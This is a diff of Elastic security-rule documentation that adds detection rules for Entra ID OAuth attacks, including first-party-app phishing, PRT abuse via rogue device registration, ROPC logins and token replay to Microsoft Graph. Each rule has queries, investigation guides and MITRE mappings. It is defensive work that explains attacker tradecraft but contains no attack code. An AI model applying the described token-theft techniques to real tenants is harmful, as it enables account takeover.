application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Phishing via First-Party Microsoft Application* + + +This rule detects OAuth authorization activity where FOCI (Family of Client IDs) applications access Microsoft Graph or legacy Azure AD resources. Adversaries exploit these trusted first-party apps in phishing campaigns like ConsentFix to steal authorization codes and exchange them for tokens from attacker infrastructure. Because first-party apps are pre-consented and cannot be blocked, attackers use them to bypass consent prompts and access user data without triggering typical OAuth alerts. + +The rule uses split detection logic: developer tools (Azure CLI, VSCode, PowerShell) accessing either Graph or legacy AAD are flagged, while any FOCI app accessing legacy AAD is flagged since this deprecated API is rarely used legitimately and attackers target it for stealth. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` to identify the affected user and determine if they are a high-value target (privileged roles, executives, IT admins). +- Analyze `source.ip` and `source.geo.*` for geographic anomalies. ConsentFix attackers exchange codes from different IPs than the victim's location. +- Check `azure.signinlogs.properties.app_display_name` to confirm which first-party application was used. Azure CLI or PowerShell access by non-developers is suspicious. +- Examine `azure.signinlogs.properties.resource_id` to identify the target resource. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Review `azure.signinlogs.properties.is_interactive` - non-interactive sign-ins shortly after interactive ones from different IPs indicate token replay. +- Correlate with other sign-in events using `azure.signinlogs.properties.session_id` to identify the full OAuth flow sequence. +- Pivot to `azure.graphactivitylogs` to search for subsequent Graph API activity from the same session or user from unusual locations. +- Check `azure.auditlogs` for device registration events around the same timeframe, which may indicate persistence attempts. + + +*False positive analysis* + + +- Developers or IT administrators legitimately using Azure CLI, PowerShell, or VS Code to access Microsoft Graph or Azure AD. +- Enterprise automation or CI/CD pipelines using these tools with user-delegated permissions. +- Users working from multiple locations (VPN, travel) may show different IPs. +- Consider excluding known developer machines, managed devices, or specific user groups that regularly use these tools. +- Maintain an allowlist of expected source IPs tied to corporate infrastructure or developer environments. + + +*Response and remediation* + + +- Contact the user immediately to confirm if they initiated the OAuth flow and used the detected application. +- If unauthorized, revoke all refresh tokens for the user via Microsoft Entra ID portal or PowerShell. +- Review the user's recent Microsoft Graph activity (email access, file downloads, Teams messages) for signs of data exfiltration. +- Block the source IP if confirmed malicious. +- Check for any devices registered during this session via `azure.auditlogs` and remove unauthorized device registrations. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices only. +- Educate users about OAuth phishing and the risks of pasting authorization codes into websites. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and +event.action: "Sign-in activity" and +event.outcome: "success" and +( + ( + azure.signinlogs.properties.app_id: ( + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and ( + azure.signinlogs.properties.resource_id: ("00000003-0000-0000-c000-000000000000" or "00000002-0000-0000-c000-000000000000") or + azure.signinlogs.properties.resource_display_name: ("Microsoft Graph" or "Windows Azure Active Directory") + ) + ) or + ( + azure.signinlogs.properties.app_id: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and ( + azure.signinlogs.properties.resource_id: "00000002-0000-0000-c000-000000000000" or + azure.signinlogs.properties.resource_display_name: "Windows Azure Active Directory" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc new file mode 100644 index 0000000000..61fc7223d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-prt-issuance-to-non-managed-device-detected]] +=== Entra ID OAuth PRT Issuance to Non-Managed Device Detected + +Identifies when a user signs in with a refresh token using the Microsoft Authentication Broker (MAB) client, followed by a Primary Refresh Token (PRT) sign-in from the same device within 1 hour from an unmanaged device. This pattern may indicate that an attacker has successfully registered a device using ROADtx and transitioned from short-term token access to long-term persistent access via PRTs. Excluding access to the Device Registration Service (DRS) ensures the PRT is being used beyond registration, often to access Microsoft 365 resources like Outlook or SharePoint. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth PRT Issuance to Non-Managed Device Detected* + + +This rule identifies a sequence where a Microsoft Entra ID authenticates using a refresh token issued to the Microsoft Authentication Broker (MAB), followed by an authentication using a Primary Refresh Token (PRT) from the same unmanaged device. This behavior is uncommon for normal user activity and strongly suggests adversarial behavior, particularly when paired with OAuth phishing and device registration tools like ROADtx. The use of PRT shortly after a refresh token sign-in typically indicates the attacker has registered a virtual device and is now using the PRT to impersonate a registered user+device pair. The device in question is still marked as unmanaged, indicating it is not compliant with organizational policies and managed by Intune or other MDM solutions. + + +*Possible investigation steps* + +- Identify the user principal and device from `azure.signinlogs.properties.user_principal_name` and `azure.signinlogs.properties.device_detail.device_id`. +- Confirm the first sign-in event came from the Microsoft Auth Broker (`app_id`) with `incoming_token_type: refreshToken`. +- Ensure the device has a `trust_type` of "Azure AD joined" and that the `sign_in_session_status` is "unbound". +- Confirm the second sign-in used `incoming_token_type: primaryRefreshToken` and that the `resource_display_name` is not "Device Registration Service". +- Investigate any Microsoft Graph, Outlook, or SharePoint access occurring shortly after. +- Review conditional access policy outcomes and determine whether MFA or device compliance was bypassed. + + +*False positive analysis* + +- Legitimate device onboarding and sign-ins using hybrid-joined endpoints may trigger this rule. +- Rapid device provisioning in enterprise environments using MAB could generate similar token behavior. +- Use supporting signals, such as IP address changes, geolocation, or user agent anomalies, to reduce noise. + + +*Response and remediation* + +- Investigate other sign-in patterns and assess whether token abuse has occurred. +- Revoke PRT sessions via Microsoft Entra ID or Conditional Access. +- Remove or quarantine the suspicious device registration. +- Require password reset and enforce MFA. +- Audit and tighten device trust and conditional access configurations. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.signinlogs.properties.user_id, azure.signinlogs.properties.device_detail.device_id with maxspan=1h + [authentication where + data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.category == "NonInteractiveUserSignInLogs" and + azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.incoming_token_type == "refreshToken" and + azure.signinlogs.properties.device_detail.trust_type == "Azure AD joined" and + azure.signinlogs.properties.device_detail.device_id != null and + azure.signinlogs.properties.token_protection_status_details.sign_in_session_status == "unbound" and + azure.signinlogs.properties.user_type == "Member" and + azure.signinlogs.result_signature == "SUCCESS" + ] + [authentication where + data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.properties.incoming_token_type == "primaryRefreshToken" and + azure.signinlogs.properties.resource_display_name != "Device Registration Service" and + azure.signinlogs.result_signature == "SUCCESS" and + azure.signinlogs.properties.device_detail.is_managed != true + and not ( + azure.signinlogs.properties.app_display_name == "Windows Sign In" or + user_agent.original == "Windows-AzureAD-Authentication-Provider/1.0" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-ropc-grant-login-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-ropc-grant-login-detected.asciidoc new file mode 100644 index 0000000000..a13a3dc5b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-ropc-grant-login-detected.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-ropc-grant-login-detected]] +=== Entra ID OAuth ROPC Grant Login Detected + +Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://dirkjanm.io/assets/raw/Finding%20Entra%20ID%20CA%20Bypasses%20-%20the%20structured%20way.pdf +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth ROPC Grant Login Detected* + + +This rule detects unusual login attempts using the Resource Owner Password Credentials (ROPC) flow in Microsoft Entra ID. ROPC allows applications to obtain tokens by directly providing user credentials, bypassing multi-factor authentication (MFA). This method is less secure and can be exploited by adversaries to gain access to user accounts, especially during enumeration or password spraying. + + +*Possible investigation steps* + +- Review the `azure.signinlogs.properties.user_principal_name` field to identify the user principal involved in the ROPC login attempt. Check if this user is expected to use ROPC or if it is an unusual account for this type of authentication. +- Analyze the `azure.signinlogs.properties.authentication_protocol` field to confirm that the authentication protocol is indeed ROPC. This protocol is typically used in legacy applications or scripts that do not support modern authentication methods. +- Check the `user_agent.original` field to identify potentially abused open-source tools or scripts that may be using ROPC for unauthorized access such as TeamFiltration or other enumeration tools. +- Review the `azure.signinlogs.properties.app_display_name` or `azure.signinlogs.properties.app_id` to determine which application is attempting the ROPC login. FOCI applications are commonly used for enumeration and password spraying. +- Investigate the `azure.signinlogs.properties.client_ip` to identify the source of the login attempt. Check if the IP address is associated with known malicious activity or if it is a legitimate user location. +- Review the `azure.signinlogs.properties.authentication_details` field for any additional context on the authentication attempt, such as whether it was successful or if there were any errors. +- Examine the `azure.signinlogs.properties.applied_conditional_access_policies` to see if any conditional access policies were applied during the login attempt. If no policies were applied, this could indicate a potential bypass of security controls. +- Identify the resource requested access to by checking the `azure.signinlogs.properties.resource_display_name` or `azure.signinlogs.properties.resource_id`. This can help determine if the login attempt was targeting sensitive resources or applications such as Exchange Online, SharePoint, or Teams. + + +*False positive analysis* + +- Legitimate applications or scripts that use ROPC for automation purposes may trigger this rule. +- Some legacy applications may still rely on ROPC for authentication, especially in environments where modern authentication methods are not fully implemented. +- Internal security tools or scripts that perform automated tasks using ROPC may generate false positives if they are not properly whitelisted or excluded from the rule. + + +*Response and remediation* + +- If the ROPC login attempt is confirmed to be malicious, immediately block the user account and reset the password to prevent further unauthorized access. +- Consider enforcing multi-factor authentication (MFA) for the user account to enhance security and prevent future unauthorized access attempts. +- Review and update conditional access policies to restrict the use of ROPC for sensitive accounts or applications, ensuring that MFA is required for all login attempts. +- Investigate the source of the ROPC login attempt, including the application and IP address, to determine if there are any additional indicators of compromise or ongoing malicious activity. +- Monitor the user account and related resources for any further suspicious activity or unauthorized access attempts, and take appropriate actions to mitigate any risks identified. +- Educate users about the risks associated with ROPC and encourage them to use more secure authentication methods, such as OAuth 2.0 or OpenID Connect, whenever possible. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + azure.signinlogs.properties.authentication_protocol: "ropc" and + azure.signinlogs.properties.authentication_requirement: "singleFactorAuthentication" and + azure.signinlogs.properties.user_type: "Member" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client.asciidoc new file mode 100644 index 0000000000..4cabfe40a3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client]] +=== Entra ID OAuth user_impersonation Scope for Unusual User and Client + +Identifies rare occurrences of OAuth workflow for a user principal that is single factor authenticated, with an OAuth scope containing user_impersonation for a token issued by Entra ID. Adversaries may use this scope to gain unauthorized access to user accounts, particularly when the sign-in session status is unbound, indicating that the session is not associated with a specific device or session. This behavior is indicative of potential account compromise or unauthorized access attempts. This rule flags when this pattern is detected for a user principal that has not been seen in the last 10 days, indicating potential abuse or unusual activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Flangvik/TeamFiltration +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Entra ID OAuth user_impersonation Scope for Unusual User and Client* + + +Identifies rare occurrences of OAuth workflow for a user principal that is single factor authenticated, with an OAuth scope containing `user_impersonation`, and a token issuer type of `AzureAD`. This rule is designed to detect suspicious +OAuth user impersonation attempts in Microsoft Entra ID, particularly those involving the `user_impersonation` scope, which is often used by adversaries to gain unauthorized access to user accounts. The rule focuses on sign-in events where +the sign-in session status is `unbound`, indicating that the session is not associated with a specific device or session, making it more vulnerable to abuse. This behavior is indicative of potential account compromise or +unauthorized access attempts, especially when the user type is `Member` and the sign-in outcome is `success`. The rule aims to identify these events to facilitate timely investigation and response to potential security incidents. This is a New Terms rule that flags when this pattern is detected for a user principal that has not been seen in the last 10 days, indicating potential abuse or unusual activity. + + +*Possible investigation steps* + + +- Review the `azure.signinlogs.properties.user_principal_name` field to identify the user principal involved in the OAuth workflow. +- Check the `azure.signinlogs.properties.authentication_processing_details.Oauth Scope Info` field for the presence of `user_impersonation`. This scope is commonly used in OAuth flows to allow applications to access user resources on behalf of the user. +- Confirm that the `azure.signinlogs.properties.authentication_requirement` is set to `singleFactorAuthentication`, indicating that the sign-in did not require multi-factor authentication (MFA). This can be a red flag, as MFA is a critical security control that helps prevent unauthorized access. +- Review the `azure.signinlogs.properties.app_display_name` or `azure.signinlogs.properties.app_id` to identify the application involved in the OAuth workflow. Check if this application is known and trusted, or if it appears suspicious or unauthorized. FOCI applications are commonly abused by adversaries to evade security controls or conditional access policies. +- Analyze the `azure.signinlogs.properties.client_ip` to determine the source of the sign-in attempt. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior. +- Examine the `azure.signinlogs.properties.resource_display_name` or `azure.signinlogs.properties.resource_id` to identify the resource being accessed during the OAuth workflow. This can help determine if the access was legitimate or if it targeted sensitive resources. It may also help pivot to other related events or activities. +- Use the `azure.signinlogs.properties.session_id` or `azure.signinlogs.properties.correlation_id` to correlate this event with other related sign-in events or activities. This can help identify patterns of suspicious behavior or potential account compromise. + + +*False positive analysis* + + +- Some legitimate applications may use the `user_impersonation` scope for valid purposes, such as accessing user resources on behalf of the user. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Users may occasionally authenticate using single-factor authentication for specific applications or scenarios, especially in environments where MFA is not enforced or required. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications. +- Some applications may use the `user_impersonation` scope for legitimate purposes, such as accessing user resources in a controlled manner. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. + + +*Response and remediation* + + +- Contact the user to validate the OAuth workflow and assess whether they were targeted or tricked by a malicious actor. +- If the OAuth workflow is confirmed to be malicious: + - Block the user account and reset the password to prevent further unauthorized access. + - Revoke active sessions and refresh tokens associated with the user principal. + - Review the application involved in the OAuth workflow and determine if it should be blocked or removed from the tenant. + - Investigate the source of the sign-in attempt, including the application and IP address, to determine if there are any additional indicators of compromise or ongoing malicious activity. + - Monitor the user account and related resources for any further suspicious activity or unauthorized access attempts, and take appropriate actions to mitigate any risks identified. +- Educate users about the risks associated with OAuth user impersonation and encourage them to use more secure authentication methods, such as OAuth 2.0 or OpenID Connect, whenever possible. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.signinlogs and + azure.signinlogs.properties.authentication_processing_details: *user_impersonation* and + azure.signinlogs.properties.authentication_requirement: "singleFactorAuthentication" and + azure.signinlogs.properties.token_issuer_type: "AzureAD" and + azure.signinlogs.properties.token_protection_status_details.sign_in_session_status: "unbound" and + azure.signinlogs.properties.user_type: "Member" and + azure.signinlogs.properties.conditional_access_status: "notApplied" and + not user_agent.original: (Mozilla*PKeyAuth/1.0 or Microsoft*Authentication*iPhone*) and + not azure.signinlogs.properties.device_detail.operating_system: (Ios* or Android*) and + event.outcome: "success" + and not azure.signinlogs.properties.app_id: ( + "a5f63c0-b750-4f38-a71c-4fc0d58b89e2" or + "6bc3b958-689b-49f5-9006-36d165f30e00" or + "66a88757-258c-4c72-893c-3e8bed4d6899" or + "cc15fd57-2c6c-4117-a88c-83b1d56b4bbe" or + "0000000c-0000-0000-c000-000000000000" or + "0a5f63c0-b750-4f38-a71c-4fc0d58b89e2" or + "48af08dc-f6d2-435f-b2a7-069abd99c086" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "fc0f3af4-6835-4174-b806-f7db311fd2f3" or + "5e3ce6c0-2b1f-4285-8d4b-75ee78787346" or + "e8be65d6-d430-4289-a665-51bf2a194bda" or + "95de633a-083e-42f5-b444-a4295d8e9314" or + "d52792f4-ba38-424d-8140-ada5b883f293" or + "65d91a3d-ab74-42e6-8a2f-0add61688c74" or + "8c59ead7-d703-4a27-9e55-c96a0054c8d2" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Technique: +** Name: Impersonation +** ID: T1656 +** Reference URL: https://attack.mitre.org/techniques/T1656/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc new file mode 100644 index 0000000000..1aafd910dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc @@ -0,0 +1,250 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-to-microsoft-graph]] +=== Entra ID OAuth User Impersonation to Microsoft Graph + +Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-31m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://attack.mitre.org/techniques/T1078/004/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Domain: API +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Tactic: Initial Access + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth User Impersonation to Microsoft Graph* + + +Identifies potential phishing, session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID and client application. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. + +This rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be +performed to the original sign-in and Graph events for further context. + + +*Possible investigation steps* + + +- This rule relies on an aggregation-based ESQL query, therefore the alert document will contain dynamically generated fields. + - To pivot into the original events, it is recommended to use the values captured to filter in timeline or discovery for the original sign-in and Graph events. +- Review the session ID and user ID to identify the user account involved in the suspicious activity. +- Check the source addresses involved in the sign-in and Graph access to determine if they are known or expected locations for the user. + - The sign-in source addresses should be two, one for the initial phishing sign-in and the other when exchanging the auth code for a token by the adversary. + - The Graph API source address should identify the IP address used by the adversary to access Microsoft Graph. +- Review the user agent strings for the sign-in and Graph access events to identify any anomalies or indicators of compromise. +- Analyze the 